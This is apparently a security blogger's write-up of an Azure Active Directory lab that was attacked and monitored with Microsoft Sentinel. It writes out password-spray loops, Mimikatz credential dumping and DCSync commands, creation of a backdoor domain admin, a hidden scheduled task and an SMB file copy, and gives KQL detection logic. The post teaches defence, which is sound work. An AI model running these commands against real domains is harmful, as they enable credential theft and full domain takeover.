How I Built an Active Directory Lab, Ran Real APT Attacks Against It, and Detected Everything in Microsoft Sentinel

The goal

After my Azure Sentinel honeypot project caught 200,000+ real brute force attacks from around the world, I wanted to go deeper. Real enterprise environments don’t just have cloud infrastructure — they have Active Directory, domain controllers, service accounts and all the legacy complexity that attackers love to exploit.

So I built one from scratch in Azure, attacked it using the same tools real threat actors use, and detected every technique in Microsoft Sentinel.

This is the complete breakdown.

What I built

The lab runs entirely in Azure with two virtual machines connected on a private subnet:

DC-01 — Windows Server 2022 Domain Controller running Active Directory Domain Services, DNS and Group Policy. This is the heart of the environment — it controls authentication for every user and machine in the domain.

Client-01 — Windows 11 Pro workstation joined to the domain, simulating a compromised employee machine.

The domain is called soclab.local with the following structure:

soclab.local

├── _ADMINS ← domain admin accounts

├── _EMPLOYEES ← 10 regular user accounts

├── _COMPUTERS ← workstations

└── _SERVERS ← server accounts

Both machines feed security event logs into Microsoft Sentinel via Azure Monitor Agent using the same Log Analytics Workspace from my previous project — creating a unified view of both cloud and on-premise threats in one SIEM.

Group Policy — enabling the audit trail

Before running any attacks I configured Group Policy to enable advanced audit logging. Default Windows audit settings miss most AD attack techniques — you have to explicitly turn on the events you want to capture.

Key audit policies enabled:

• Account Logon → Audit Credential Validation (Success + Failure)
• Account Management → Audit User Account Management (Success)
• DS Access → Audit Directory Service Access (Success + Failure)
• Logon/Logoff → Audit Logon (Success + Failure)

Without these settings EventIDs like 4768 and 4769 (Kerberos ticket requests) simply don’t appear in the logs — making Kerberoasting completely invisible.

The attacks

1. AD Reconnaissance — T1087

Every attacker who lands in an AD environment starts with recon. I used built-in PowerShell AD cmdlets to enumerate the domain:

Get-ADUser -Filter * | Select SamAccountName, Enabled

Get-ADGroupMember “Domain Admins” | Select Name

Get-ADComputer -Filter * | Select Name, OperatingSystem

Get-ADDomain

This maps out users, privileged groups, machines and domain structure — the information needed to plan the next attack phase.

EventIDs generated: 4624 (logon), 4662 (directory access)

2. Brute Force & Password Spray — T1110, T1110.003

Two distinct credential attacks with different detection signatures:

Brute force — rapid failed login attempts against a single account:

for ($i=1; $i -le 20; $i++) {

net use \DC-01\IPC$ /user:SOCLAB\administrator wrongpass$i

}

Password spray — one password tried against many accounts to avoid lockout:

$users = @(“john.smith”,”jane.doe”,”bob.johnson”,”alice.brown”)

foreach ($user in $users) {

net use \DC-01\IPC$ /user:SOCLAB\$user “Password123!”

}

Password spray is harder to detect because it stays under the lockout threshold. The key detection signal is multiple accounts failing with the same password from the same source IP.

EventIDs generated: 4625 (failed logon), 4740 (account lockout)

3. Kerberoasting — T1558.003

Kerberoasting exploits the Kerberos protocol to steal service account credentials offline — no failed logins, no lockouts, completely silent under basic monitoring.

First I created a vulnerable service account:

New-ADUser -Name “SQL Service” -SamAccountName “sqlservice” -Enabled $true

setspn -A MSSQLSvc/dc-01.soclab.local:1433 sqlservice

Any domain user can then request a Kerberos service ticket for this account. The ticket is encrypted with the service account’s password hash — which can be cracked offline.

EventIDs generated: 4769 (Kerberos service ticket request)

4. Credential Dumping with Mimikatz — T1003

Mimikatz is the most well-known credential dumping tool used by threat actors worldwide. Running it against the Domain Controller:

privilege::debug

sekurlsa::logonpasswords

Output included NTLM hashes, SHA1 hashes and Kerberos keys for every account with an active session on the DC — including the machine account DC-01$.

EventIDs generated: 4673 (privileged service called), 4688 (process creation)

5. DCSync — Golden Ticket Attack — T1003.006, T1558.001

This is the most devastating attack in Active Directory. DCSync simulates a domain controller replication request to extract password hashes for any account directly from the directory — no need to touch LSASS memory.

lsadump::dcsync /domain:soclab.local /user:krbtgt

The output included the krbtgt NTLM hash: 9fd9aacccfc3037e78c7033ed935c28c

With this hash an attacker can forge a Golden Ticket — a Kerberos ticket that grants access to any resource in the domain indefinitely. Even resetting every user password doesn’t help. The only remediation is resetting the krbtgt password twice.

EventIDs generated: 4662 (directory replication access)

6. Backdoor Domain Admin — T1136.002, T1078

After domain compromise, attackers establish persistence through hidden admin accounts:

net user APTBackdoor P@ssw0rd123! /add /domain

net group “Domain Admins” APTBackdoor /add /domain

EventIDs generated: 4720 (account created), 4732 (member added to privileged group)

7. Scheduled Task Persistence — T1053

Malicious scheduled tasks disguised as legitimate Windows processes are a standard ransomware persistence technique:

schtasks /create /tn “AdobeUpdate” /tr “powershell.exe -WindowStyle Hidden” /sc onlogon /ru System /f

EventIDs generated: 4698 (scheduled task created)

8. Lateral Movement via SMB — T1021.002

With domain admin credentials, accessing the Domain Controller’s admin share from the client machine:

dir \DC-01\C$

copy \DC-01\C$\Windows\System32\drivers\etc\hosts C:\Tools\stolen-hosts.txt

This returned the full DC filesystem listing and successfully copied a file — proving complete lateral movement and data exfiltration capability.

EventIDs generated: 4624 LogonType 3 (network logon)

Detection in Microsoft Sentinel

All attacks generated Windows Security Events that flowed into Sentinel within minutes. I built 8 custom KQL analytics rules to detect each technique:

Rule

Severity

MITRE Tactic

Technique

AD Brute Force Against Domain Accounts

High

Credential Access

T1110

Password Spray Against AD

High

Credential Access

T1110.003

Kerberoasting Detected

High

Credential Access

T1558.003

Golden Ticket Attack Detected

Critical

Credential Access

T1558.001

DCSync Attack Detected

Critical

Credential Access

T1003.006

Credential Dumping Detected

Critical

Credential Access

T1003

Suspicious Domain Admin Created

High

Persistence

T1136.002

Lateral Movement SMB Detected

High

Lateral Movement

T1021.002

The Sentinel query that showed all attacks at once:

SecurityEvent

| where TimeGenerated > ago(2h)

| where Computer contains “DC-01”

| where EventID in (4625, 4720, 4726, 4732, 4768, 4769)

| extend Attack = case(

EventID == 4625, “Brute Force”,

EventID == 4720, “Account Created”,

EventID == 4726, “Account Deleted”,

EventID == 4732, “Added to Admin Group”,

EventID == 4768, “Kerberos TGT”,

EventID == 4769, “Kerberos Service Ticket”,

“Other”)

| project TimeGenerated, EventID, Attack, Account, Computer

| order by TimeGenerated desc

Combined portfolio — 15 detection rules

This AD lab connects to the same Sentinel workspace as my honeypot project, giving me 15 total active detection rules across three environments:

• Cloud — Azure VM honeypot (200k+ real attacks detected)
• Identity — Microsoft Entra ID (sign-in anomalies, compromised accounts)
• On-premise — Active Directory (8 AD attack techniques)

This mirrors how enterprise SOC teams actually operate — one SIEM monitoring every layer of the environment.

Key lessons

The krbtgt hash is the crown jewel of Active Directory. Whoever extracts it owns the domain permanently until that specific password is reset twice. Most organizations never do this proactively.

Mimikatz runs in seconds. The window between initial access and credential dumping is measured in minutes, not hours. Detection needs to be real time.

Default Windows audit settings are inadequate. EventID 4769 (Kerberos service ticket) only appears if you explicitly enable the Audit Kerberos Service Ticket Operations policy. Without it, Kerberoasting is completely invisible.

Kerberoasting leaves almost no trace. No failed logins, no account lockouts, no alerts in default configurations. The only signal is an unusual service ticket request — which requires baseline behavioral monitoring to catch.

Cost: Under $15 total for the weekend lab.

Full project on GitHub https://github.com/mataleon

All KQL detection queries, PowerShell attack scripts, Mimikatz output screenshots and architecture diagrams are available in my GitHub repository.

This is part of an ongoing cybersecurity portfolio series. Previous project: Azure Sentinel SOC Home Lab — 200,000+ real attacks detected.